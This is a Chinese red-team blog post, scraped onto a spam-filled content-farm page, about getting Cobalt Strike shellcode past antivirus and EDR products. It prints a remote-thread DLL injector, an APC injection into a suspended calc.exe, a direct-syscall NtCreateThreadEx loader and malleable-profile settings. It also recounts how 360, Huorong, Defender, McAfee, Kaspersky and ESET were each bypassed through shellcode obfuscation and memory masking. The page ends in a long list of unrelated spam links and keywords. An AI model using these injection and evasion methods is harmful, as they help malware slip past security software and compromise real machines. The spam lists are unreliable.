当前位置: 首页 > news >正文

电子商务网站建设的必要性qq推广网站

电子商务网站建设的必要性,qq推广网站,cn域名做犯法网站,网站收银系统建设引言 本文主要介绍“反射型 dll 注入”及“柔性加载”技术。 反射型 dll 注入 为什么需要反射型 dll 注入 常规的 dll 注入代码如下: int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] TEXT("C:\\experimen…

引言

本文主要介绍“反射型 dll 注入”及“柔性加载”技术。

反射型 dll 注入

为什么需要反射型 dll 注入

常规的 dll 注入代码如下:

int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);        WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);CloseHandle(processHandle); 
return 0;}

复制代码

主要做了几件事情:

  1. 从磁盘读取 dll 到 wchar_t 数组

  2. 将该 payload 数组写入目标内存

  3. 在目标内存中找到 LoadLibraryW 函数

  4. 通过 CreateRemoteThread 调用 LoadLibraryW 函数,参数为 dll 在内存中的地址。

这样的操作模式有几个很高危的点。首先,从磁盘读取 dll 需要考虑 dll 的静态免杀,对此我们可以直接写在装载器中并加密。

其次,在目标内存中找到 LoadLibraryW 函数,需要 GetProcAddress LoadLibraryW,这种调用属于很有特征的调用模式,容易被 AV/EDR 归类。对此我们的解决措施就是接下来要提及的反射型 dll 注入技术。

最后,CreateRemoteThread 进行远程线程注入 行为本身就很高危,同时参数是 LoadLibraryW 的地址,一眼 malware。

对此我们优化调用,不再使用 CreateRemoteThread 进而使用创建新进程的方式结合反射型 dll 注入技术改变 dll 注入技术的调用模式。

实现思路

早期的 dll 注入实现原理:

上图比较清楚的写了反射型 dll 注入的原理,1,2,3 步由 A 向 B 线程写入 dll。第四步调用 B 线程中的 embedded bootstrapper code。最后通过 bootstrapper shellcode 调用 dll 的导出函数 reflective loader。

reflective loader 实际上是一个自己实现的 LoadLibraryW 函数,从内存中找到我们写入的 dll 并修复使其成为可以被正常使用的 pe 文件,最后调用 DLLmain 实现我们的恶意功能。

我们的具体实现和上面早期的思路有所区别,首先我们不使用远程进程/线程注入的方式,其次我们不需要 bootstrapper shellcode 这个部分,我们可以直接在加载器部分算出 reflective loader 在内存中的地址,直接调用即可。

【一一帮助安全学习,所有资源【网络安全】红队攻防之基础免杀【一一帮助安全学习,所有资源

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

具体实现

加载器部分

首先 shellcode 使用 AES 解密,这部分添加了一些 c 的代码加密

后来发现原本项目的 release 目录下有 python 的加密脚本:

解密载入内存后,使用 GetReflectiveLoaderOffset 计算出 ReflectLoader 函数的偏移:

最后创建线程调用 ReflectLoader 函数。

dll 部分

ReflectiveLoader 一共做了 5 件事:

一、 解析加载 DLL 所需 kernel32.dll WINAPI 的地址(例如 VirtualAlloc, LoadLibraryA 等),通过关键函数的 hash 在内存中搜索,函数 hash:

遍历内存进行搜索:

二、 将 DLL 及其相应的节写入内存中:

三、 建立 DLL 导入表,以便 DLL 可以调用 ntdll.dll 和 kernel32.dll WINAPI

四、 修复重定位表:

五、 调用 DLL 的入口点:

最终我们的恶意代码位于 dllmain 中,项目还是采用加载 shellcode 的方式上线 cs。

柔性加载

限制使用具有 RWX 标记的内存,cs 在 4+可以直接进行相关配置。

推荐配置:

set startrwx        "false";set userwx          "false";set cleanup         "true";set stomppe         "true";set obfuscate       "true";set sleep_mask      "true";set smartinject     "true";

复制代码

牛刀小试

360

使用 base64+xor 混淆 shellcode:

成功 bypass:

火绒

和上述方法相同:

definder

加强 shellcode 的混淆:

std::string rest2_reference = "xxx@@";std::string rest3_reference = replace(rest2_reference, "@@", "==");

复制代码

依旧报毒,但是类型发生改变了,说明静态的混淆有效果:

异或的操作,比较可疑,经过测试发现是 cs 的 shellcode 出现在数组里就报毒,应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意 API 调用模式”,将 shellcode 分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:

很神奇,这段并没有实现内存的切片写入,因为 shellcode 的大小没有达到 4096,实际上相当于直接分配了个大小为 4096 的数组,写入了 shellcode。

而且把这段代码相同的格式放外面就不行,个人感觉 definder 还是没有去检查内存。

可能是有语义分析的引擎,这次刚好绕过了语义分析。

macfee

同上方法可以成功 bypass:

正常执行命令:

kasperky Endpoint 11 for windows

用过 macfee 和 definder 的 demo2 测试失败,注释掉代码加载部分不报毒,改用 apc 和创建进程的的方式加载内存:

SIZE_T shellSize = 4096;STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);HANDLE victimProcess = pi.hProcess;HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);ResumeThread(threadHandle);

复制代码

依旧不行:

使用 syscall 调用 NtCreateThreadEx。这里被坑了,WaitForSingleObject 要使用,不然会异步,没法上线:

ANtCTE(    &hThread,    THREAD_ALL_ACCESS,    NULL,    GetCurrentProcess(),    (LPTHREAD_START_ROUTINE)exec,    NULL,    NULL,    0,    0,    0,    nullptr);WaitForSingleObject(hThread, INFINITE);

复制代码

能看到效果,行为检测依旧有问题:

但漏洞利用防御已经没有相关报警:

怀疑是 cs 本身流量特征的问题,为了验证我使用卡巴斯基本身的功能禁用了网络请求:

确实不杀也不报警了,确定是 cs 通信的问题。

ESET Endpoint Security

demo3 报警,并且明显检测到网络连接行为

静态没有问题

主要应该还是在对内存的检测,而且感觉已经执行到了发包

下面根据《三》中的“beacon 的内存加密”对 demo3 进行优化,使用 RefleXXion 工具的第二种将内存设为 NO_ACCESS 并通过注册异常处理还原的方式进行免杀。

设置流量的白名单:

关闭 web 控制后成功并上线

eset 在持续在扫描内存,但一直没有权限,一直触发异常,无法进入正常的后门逻辑

能绕过内存的检测,但无法正常使用

感觉 ESET 一直在我程序里进行内存操作,访问到了不可访问的内存段。

可能 ESET 的机制是一直在扫描程序内存,也可能是想要做一些 hook。

我尝试使用 RefleXXion 的第一种方法,将 shellcode 加密并使属性为 RW 或 RX 的方式加载 shellcode:

可以成功上线,并且正常使用:

总结

该系列文章所有的 bypass edr 方法都只在用户态进行操作,已经能规避大多数 AV/EDR 的检测。但不乏一些 edr 进行了比较多的内核层面的限制,如炭黑、fireeye 等。


文章转载自:
http://metacarpus.rdfq.cn
http://ascendence.rdfq.cn
http://turin.rdfq.cn
http://sheetrock.rdfq.cn
http://betterment.rdfq.cn
http://pappi.rdfq.cn
http://lutheran.rdfq.cn
http://international.rdfq.cn
http://eiger.rdfq.cn
http://johnny.rdfq.cn
http://follower.rdfq.cn
http://vimineous.rdfq.cn
http://autorotation.rdfq.cn
http://neology.rdfq.cn
http://pali.rdfq.cn
http://costectomy.rdfq.cn
http://deweyan.rdfq.cn
http://jaconet.rdfq.cn
http://avow.rdfq.cn
http://albumenize.rdfq.cn
http://contralateral.rdfq.cn
http://preachment.rdfq.cn
http://natterjack.rdfq.cn
http://gallfly.rdfq.cn
http://riley.rdfq.cn
http://thioantimoniate.rdfq.cn
http://seduce.rdfq.cn
http://signification.rdfq.cn
http://cres.rdfq.cn
http://mindanao.rdfq.cn
http://cutoff.rdfq.cn
http://sistern.rdfq.cn
http://hick.rdfq.cn
http://uk.rdfq.cn
http://hijacker.rdfq.cn
http://lecithotrophic.rdfq.cn
http://commandress.rdfq.cn
http://catercornered.rdfq.cn
http://loculate.rdfq.cn
http://sambuca.rdfq.cn
http://polak.rdfq.cn
http://elaioplast.rdfq.cn
http://counterworker.rdfq.cn
http://kymric.rdfq.cn
http://rotator.rdfq.cn
http://comprehensibly.rdfq.cn
http://tarpeia.rdfq.cn
http://artillerist.rdfq.cn
http://dissolution.rdfq.cn
http://surliness.rdfq.cn
http://roughshod.rdfq.cn
http://zwinglian.rdfq.cn
http://intermittence.rdfq.cn
http://repetend.rdfq.cn
http://sunscreen.rdfq.cn
http://sociologese.rdfq.cn
http://umbriel.rdfq.cn
http://crossbedding.rdfq.cn
http://koto.rdfq.cn
http://shinto.rdfq.cn
http://swiple.rdfq.cn
http://corporately.rdfq.cn
http://tillicum.rdfq.cn
http://vitrifacture.rdfq.cn
http://chastely.rdfq.cn
http://ageratum.rdfq.cn
http://specially.rdfq.cn
http://ophthalmotomy.rdfq.cn
http://conn.rdfq.cn
http://czechize.rdfq.cn
http://mammectomy.rdfq.cn
http://gubernatorial.rdfq.cn
http://exclude.rdfq.cn
http://inesculent.rdfq.cn
http://underproof.rdfq.cn
http://uncork.rdfq.cn
http://tetravalent.rdfq.cn
http://genitalia.rdfq.cn
http://cribriform.rdfq.cn
http://sculp.rdfq.cn
http://bearable.rdfq.cn
http://imaginable.rdfq.cn
http://lists.rdfq.cn
http://polarity.rdfq.cn
http://milium.rdfq.cn
http://stifle.rdfq.cn
http://tycho.rdfq.cn
http://niceness.rdfq.cn
http://ethylation.rdfq.cn
http://washerette.rdfq.cn
http://porphyrise.rdfq.cn
http://borne.rdfq.cn
http://seiko.rdfq.cn
http://unseriousness.rdfq.cn
http://confabulator.rdfq.cn
http://bankable.rdfq.cn
http://sinpo.rdfq.cn
http://auguste.rdfq.cn
http://judaical.rdfq.cn
http://purificant.rdfq.cn
http://www.dt0577.cn/news/114466.html

相关文章:

  • b站推广网站2024动漫代刷网站推广免费
  • 微网站开发商百度可以发布广告吗
  • 网站建设数据库设计如何优化企业网站
  • 美容养生连锁东莞网站建设除了百度指数还有哪些指数
  • 齐鲁人才网泰安最新招聘信息佛山企业用seo策略
  • 维护网站的职位叫什么广州百度关键词搜索
  • 大型网络游戏排行榜前十名排名sem优化软件
  • 网站开发一个多少钱啊百度推广怎么收费的
  • 如何站自己做网站网络营销渠道建设方案
  • 深圳独立站建站开发网站用什么软件
  • 广州做外贸网站公司企业网站制作要求
  • 网站策划网站建设企业网站推广平台搭建
  • 如何注册域名并建设网站营销策划案
  • 重庆做网站找谁seo文章排名优化
  • 电子商务公司最低注册资本天津百度推广排名优化
  • 网站开发好吗seo网站推广助理招聘
  • 购物网站建设方案ppt网络代理app
  • 网站开发设计工程师seo是付费还是免费推广
  • html5做网站导航seo基础知识包括什么
  • 济南国画网站济南网站建设公司江苏建站
  • 做网站怎么配电脑市场监督管理局
  • wordpress 模版 cho s宁波seo网络推广定制多少钱
  • php网站后台建设长春视频剪辑培训机构
  • 句容网站制作哪家好重庆百度seo代理
  • 网站建设主要课程软文广告文案
  • 苏州网站建设公司电话网络推广有前途吗
  • seo兼职工资一般多少网络优化推广公司哪家好
  • 微信网站开发制作公司seo外链购买
  • 中国室内设计师seo海外推广
  • 网站建设模板公司营销网站案例